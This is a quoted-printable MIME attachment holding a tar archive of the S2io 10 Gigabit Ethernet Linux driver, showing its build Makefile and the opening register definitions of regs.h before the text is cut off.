=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00 ------=_NextPart_000_0003_01C3F48F.1C3A9D90 Content-Type: application/octet-stream; name="s2io_linux_drv_submission02.tar" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="s2io_linux_drv_submission02.tar" ./=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=000= 040755=000000000=000000000=0000000000000=0010014224340=00007703=00 = 5=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00ustar = =00root=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00root=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00./Makefile=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=000100644=000000000=000000000=000000= 0004064=0010013273657=00011362=00 = 0=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00ustar = =00root=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00root=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00#!/usr/bin/make=0A= # Makefile for building Linux S2io 10Gigabit ethernet driver as a module.=0A= =0A= # PREFIX may be set by the RPM build to set the effective root.=0A= PREFIX=3D=0A= ifeq ($(shell ls /lib/modules/`uname -r`/build > /dev/null 2>&1 && echo = build),)=0A= ifeq ($(shell ls /usr/src/linux > /dev/null 2>&1 && echo linux),)=0A= LINUX=3D=0A= else=0A= LINUX=3D/usr/src/linux=0A= endif=0A= else=0A= LINUX=3D/lib/modules/`uname -r`/build=0A= endif=0A= =0A= ifeq ($(LINUX),)=0A= $(error Linux kernel source tree not found)=0A= endif=0A= =0A= CC =3D gcc=0A= LD =3D ld=0A= =0A= =0A= INCLUDEDIR:=3D$(shell uname -r | sed 's/\([0-9]*\.[0-9]*\)\..*/\1/')=0A= =0A= ARCH:=3D$(shell uname -m)=0A= =0A= ifeq ($(INCLUDEDIR),2.6)=0A= =0A= ifneq ($(KERNELRELEASE), )=0A= obj-m :=3D s2io.o=0A= =0A= else=0A= KDIR :=3D /lib/modules/$(shell uname -r)/build=0A= PWD :=3D $(shell pwd)=0A= default:=0A= @echo Build on Linux-$(INCLUDEDIR);=0A= $(MAKE) -C $(KDIR) SUBDIRS=3D$(PWD) modules=0A= endif=0A= endif=0A= =0A= ifeq ($(INCLUDEDIR),2.4)=0A= # Default flags for ia64, alpha, x86_64, i686 & ppc64=0A= CFLAGS=3D -DMODULE -D__KERNEL__ -I/usr/src/linux-$(INCLUDEDIR)/include = -Wall\=0A= -Wstrict-prototypes -O2=0A= =0A= ifeq ($(ARCH),alpha)=0A= CFLAGS+=3D-ffixed-8 -mno-fp-regs -pipe -O2=0A= endif=0A= =0A= ifeq ($(ARCH),ppc64)=0A= CC =3D /opt/cross/bin/powerpc64-linux-gcc=0A= LD =3D /opt/cross/bin/powerpc64-linux-ld=0A= endif=0A= =0A= ifeq ($(ARCH),ia64)=0A= endif=0A= =0A= ifeq ($(ARCH),x86_64)=0A= CFLAGS+=3D -mcmodel=3Dkernel=0A= endif=0A= =0A= #ifeq ($(ARCH),i686)=0A= #endif=0A= =0A= all: s2io.o=0A= @echo Build on Linux-$(INCLUDEDIR);=0A= =0A= s2io.o: s2io.h=0A= =0A= install: s2io.o=0A= @echo Install on Linux-$(INCLUDEDIR);=0A= @if [ -d $(PREFIX)/lib/modules/`uname -r`/kernel/drivers/net/s2io ];\=0A= then install -m 444 s2io.o $(PREFIX)/lib/modules/`uname = -r`/kernel/drivers/net/s2io;\=0A= elif [ -d $(PREFIX)/lib/modules/`uname -r`/kernel/drivers/net ];\=0A= then install -m 444 s2io.o $(PREFIX)/lib/modules/`uname = -r`/kernel/drivers/net;\=0A= fi=0A= @if [ "$(PREFIX)" =3D "" ]; then /sbin/depmod -a ;\=0A= else echo " *** Run '/sbin/depmod -a' to update the module database.";\=0A= fi=0A= =0A= .PHONEY: all clean install=0A= =0A= endif=0A= =0A= clean:=0A= @echo Clean on Linux-$(INCLUDEDIR);=0A= @if [ "$(INCLUDEDIR)" =3D "2.4" ]; then /bin/rm -f s2io.o;\=0A= elif [ "$(INCLUDEDIR)" =3D "2.6" ]; then /bin/rm -f s2io.o s2io.mod.c = s2io.mod.o s2io.ko;\=0A= fi=0A= =0A= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00./regs.h=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=000100644=000000000=000000000=0000000064567=0010013273657=00= 011051=00 = 0=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00ustar = =00root=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00root=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00= =00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00=00/***************= *********************************************************=0A= * regs.h: A Linux PCI-X Ethernet driver for S2IO 10GbE Server NIC=0A= * Copyright 2002 Raghavendra Koushik (raghavendra.koushik@s2io.com)=0A= =0A= * This software may be used and distributed according to the terms of=0A= * the GNU General Public License (GPL), incorporated herein by = reference.=0A= * Drivers based on or derived from this code fall under the GPL and must=0A= * retain the authorship, copyright and license notice. This file is not=0A= * a complete program and may only be used when the entire operating=0A= * system is licensed under the GPL.=0A= * See the file COPYING in this distribution for more information.=0A= = ************************************************************************/=0A= #ifndef _REGS_H=0A= #define _REGS_H=0A= =0A= #define TBD 0=0A= =0A= typedef struct _XENA_dev_config {=0A= /* Convention: mHAL_XXX is mask, vHAL_XXX is value */=0A= =0A= /* General Control-Status Registers */=0A= u64 general_int_status;=0A= #define GEN_INTR_TXPIC BIT(0)=0A= #define GEN_INTR_TXDMA BIT(1)=0A= #define GEN_INTR_TXMAC BIT(2)=0A= #define GEN_INTR_TXXGXS BIT(3)=0A= #define GEN_INTR_TXTRAFFIC BIT(8)=0A= #define GEN_INTR_RXPIC BIT(32)=0A= #define GEN_INTR_RXDMA BIT(33)=0A= #define GEN_INTR_RXMAC BIT(34)=0A= #define GEN_INTR_MC BIT(35)=0A= #define GEN_INTR_RXXGXS BIT(36)=0A= #define GEN_INTR_RXTRAFFIC BIT(40)=0A= #define GEN_ERROR_INTR GEN_INTR_TXPIC | GEN_INTR_RXPIC | \=0A= GEN_INTR_TXDMA | GEN_INTR_RXDMA | \=0A= GEN_INTR_TXMAC | GEN_INTR_RXMAC | \=0A= GEN_INTR_TXXGXS| GEN_INTR_RXXGXS| \=0A= GEN_INTR_MC=0A= =0A= u64 general_int_mask;=0A= =0A= u8 unused0[0x100 - 0x10];=0A= =0A= u64 sw_reset;=0A= /* XGXS must be removed from reset only once. */=0A= #define SW_RESET_XENA vBIT(0xA5,0,8)=0A= #define SW_RESET_FLASH vBIT(0xA5,8,8)=0A= #define SW_RESET_EOI vBIT(0xA5,16,8)=0A= #define SW_RESET_ALL (SW_RESET_XENA | \=0A= SW_RESET_FLASH | \=0A= SW_RESET_EOI)=0A= /* The SW_RESET register must read this value after a successful reset. = */=0A= #define SW_RESET_RAW_VAL 0xA5000000=0A= =0A= =0A= u64 adapter_status;=0A= #define ADAPTER_STATUS_TDMA_READY BIT(0)=0A= #define ADAPTER_STATUS_RDMA_READY BIT(1)=0A= #define ADAPTER_STATUS_PFC_READY BIT(2)=0A= #define ADAPTER_STATUS_TMAC_BUF_EMPTY BIT(3)=0A= #define ADAPTER_STATUS_PIC_QUIESCENT BIT(5)=0A= #define ADAPTER_STATUS_RMAC_REMOTE_FAULT BIT(6)=0A= #define ADAPTER_STATUS_RMAC_LOCAL_FAULT BIT(7)=0A= #define ADAPTER_STATUS_RMAC_PCC_IDLE vBIT(0xFF,8,8)=0A= #define ADAPTER_STATUS_RC_PRC_QUIESCENT vBIT(0xFF,16,8)=0A= #define ADAPTER_STATUS_MC_DRAM_READY BIT(24)=0A= #define ADAPTER_STATUS_MC_QUEUES_READY BIT(25)=0A= #define ADAPTER_STATUS_M_PLL_LOCK BIT(30)=0A= #define ADAPTER_STATUS_P_PLL_LOCK BIT(31)=0A= =0A= u64 adapter_control;=0A= #define ADAPTER_CNTL_EN BIT(7)=0A= #define ADAPTER_EOI_TX_ON BIT(15)=0A= #define ADAPTER_LED_ON BIT(23)=0A= #define ADAPTER_UDPI(val) vBIT(val,36,4)=0A= #define ADAPTER_WAIT_INT BIT(48)=0A= #define ADAPTER_ECC_EN BIT(55)=0A= =0A= u64 serr_source;=0A= #define SERR_SOURCE_PIC BIT(0)=0A= #define SERR_SOURCE_TXDMA BIT(1)=0A= #define SERR_SOURCE_RXDMA BIT(2)=0A= #define SERR_SOURCE_MAC BIT(3)=0A= #define SERR_SOURCE_MC BIT(4)=0A= #define SERR_SOURCE_XGXS BIT(5)=0A= #define SERR_SOURCE_ANY (SERR_SOURCE_PIC | \=0A= SERR_SOURCE_TXDMA | \=0A= SERR_SOURCE_RXDMA | \=0A= SERR_SOURCE_MAC | \=0A= SERR_SOURCE_MC | \=0A= SERR_SOURCE_XGXS)=0A= =0A= =0A= u8 unused_0[0x800 - 0x120];=0A= =0A= /* PCI-X Controller registers */=0A= u64 pic_int_status;=0A= u64 pic_int_mask;=0A= #define PIC_INT_TX BIT(0)=0A= #define PIC_INT_FLSH BIT(1)=0A= #define PIC_INT_MDIO BIT(2)=0A= #define PIC_INT_IIC BIT(3)=0A= #define PIC_INT_GPIO BIT(4)=0A= #define PIC_INT_RX BIT(32)=0A= =0A= u64 txpic_int_reg;=0A= u64 txpic_int_mask;=0A= #define PCIX_INT_REG_ECC_SG_ERR BIT(0)=0A= #define PCIX_INT_REG_ECC_DB_ERR BIT(1)=0A= #define PCIX_INT_REG_FLASHR_R_FSM_ERR BIT(8)=0A= #define PCIX_INT_REG_FLASHR_W_FSM_ERR BIT(9)=0A= #define PCIX_INT_REG_INI_TX_FSM_SERR BIT(10)=0A= #define PCIX_INT_REG_INI_TXO_FSM_ERR BIT(11)=0A= #define PCIX_INT_REG_TRT_FSM_SERR BIT(13)=0A= #define PCIX_INT_REG_SRT_FSM_SERR BIT(14)=0A= #define PCIX_INT_REG_PIFR_FSM_SERR BIT(15)=0A= #define PCIX_INT_REG_WRC_TX_SEND_FSM_SERR BIT(21)=0A= #define PCIX_INT_REG_RRC_TX_REQ_FSM_SERR BIT(23)=0A= #define PCIX_INT_REG_INI_RX_FSM_SERR BIT(48)=0A= #define PCIX_INT_REG_RA_RX_FSM_SERR BIT(50)=0A= /*=0A= #define PCIX_INT_REG_WRC_RX_SEND_FSM_SERR BIT(52)=0A= #define PCIX_INT_REG_RRC_RX_REQ_FSM_SERR BIT(54)=0A= #define PCIX_INT_REG_RRC_RX_SPLIT_FSM_SERR BIT(58)=0A= */=0A= u64 txpic_alarms;=0A= u64 rxpic_int_reg;=0A= u64 rxpic_int_mask;=0A= u64 rxpic_alarms;=0A= =0A= u64 flsh_int_reg;=0A= u64 flsh_int_mask;=0A= #define PIC_FLSH_INT_REG_CYCLE_FSM_ERR BIT(63)=0A= #define PIC_FLSH_INT_REG_ERR BIT(62)=0A= u64 flash_alarms;=0A= =0A= u64 mdio_int_reg;=0A= u64 mdio_int_mask;=0A= #define MDIO_INT_REG_MDIO_BUS_ERR BIT(0)=0A= #define MDIO_INT_REG_DTX_BUS_ERR BIT(8)=0A= #define MDIO_INT_REG_LASI BIT(39)=0A= u64 mdio_alarms;=0A= =0A= u64 iic_int_reg;=0A= u64 iic_int_mask;=0A= #define IIC_INT_REG_BUS_FSM_ERR BIT(4)=0A= #define IIC_INT_REG_BIT_FSM_ERR BIT(5)=0A= #define IIC_INT_REG_CYCLE_FSM_ERR BIT(6)=0A= #define IIC_INT_REG_REQ_FSM_ERR BIT(7)=0A= #define IIC_INT_REG_ACK_ERR BIT(8)=0A= u64 iic_alarms;=0A= =0A= u8 unused4[0x08];=0A= =0A= u64 gpio_int_reg;=0A= u64 gpio_int_mask;=0A= u64 gpio_alarms;=0A= =0A= u8 unused5[0x38];=0A= =0A= u64 tx_traffic_int;=0A= #define TX_TRAFFIC_INT_n(n) BIT(n)=0A= u64 tx_traffic_mask;=0A= =0A= u64 rx_traffic_int;=0A= #define RX_TRAFFIC_INT_n(n) BIT(n)=0A= u64 rx_traffic_mask;=0A= =0A= /* PIC Control registers */=0A= u64 pic_control;=0A= #define PIC_CNTL_RX_ALARM_MAP_1 BIT(0)=0A= #define PIC_CNTL_SHARED_SPLITS(n) vBIT(n,11,4)=0A= =0A= u64 swapper_ctrl;=0A= #define SWAPPER_CTRL_PIF_R_FE BIT(0)=0A= #define SWAPPER_CTRL_PIF_R_SE BIT(1)=0A= #define SWAPPER_CTRL_PIF_W_FE BIT(8)=0A= #define SWAPPER_CTRL_PIF_W_SE BIT(9)=0A= #define SWAPPER_CTRL_TXP_FE BIT(16)=0A= #define SWAPPER_CTRL_TXP_SE BIT(17)=0A= #define SWAPPER_CTRL_TXD_R_FE BIT(18)=0A= #define SWAPPER_CTRL_TXD_R_SE BIT(19)=0A= #define SWAPPER_CTRL_TXD_W_FE BIT(20)=0A= #define SWAPPER_CTRL_TXD_W_SE BIT(21)=0A= #define SWAPPER_CTRL_TXF_R_FE BIT(22)=0A= #define SWAPPER_CTRL_TXF_R_SE BIT(23)=0A= #define SWAPPER_CTRL_RXD_R_FE BIT(32)=0A= #define SWAPPER_CTRL_RXD_R_SE BIT(33)=0A= #define SWAPPER_CTRL_RXD_W_FE BIT(34)=0A= #define SWAPPER_CTRL_RXD_W_SE BIT(35)=0A= #define SWAPPER_CTRL_RXF_W_FE BIT(36)=0A= #define SWAPPER_CTRL_RXF_W_SE BIT(37)=0A= #define SWAPPER_CTRL_XMSI_FE BIT(40)=0A= #define SWAPPER_CTRL_XMSI_SE BIT(41)=0A= #define SWAPPER_CTRL_STATS_FE BIT(48)=0A= #define SWAPPER_CTRL_STATS_SE BIT(49)=0A= =0A= u64 pif_rd_swapper_fb;=0A= #define IF_RD_SWAPPER_FB 0x0123456789ABCDEF=0A= =0A= u64 scheduled_int_ctrl;=0A= #define SCHED_INT_CTRL_TIMER_EN BIT(0)=0A= #define SCHED_INT_CTRL_ONE_SHOT BIT(1)=0A= #define SCHED_INT_CTRL_INT2MSI TBD=0A= #define SCHED_INT_PERIOD TBD=0A= =0A= u64 txreqtimeout;=0A= #define TXREQTO_VAL(val) vBIT(val,0,32)=0A= #define TXREQTO_EN BIT(63)=0A= =0A= u64 statsreqtimeout;=0A= #define STATREQTO_VAL(n) TBD=0A= #define STATREQTO_EN BIT(63)=0A= =0A= u64 read_retry_delay;=0A= u64 read_retry_acceleration;=0A= u64 write_retry_delay;=0A= u64 write_retry_acceleration;=0A= =0A= u64 xmsi_control;=0A= u64 xmsi_access;=0A= u64 xmsi_address;=0A= u64 xmsi_data;=0A= =0A= u64 rx_mat;=0A= =0A= u8 unused6[0x8];=0A= =0A= u64 tx_mat0_7;=0A= u64 tx_mat8_15;=0A= u64 tx_mat16_23;=0A= u64 tx_mat24_31;=0A= u64 tx_mat32_39;=0A= u64 tx_mat40_47;=0A= 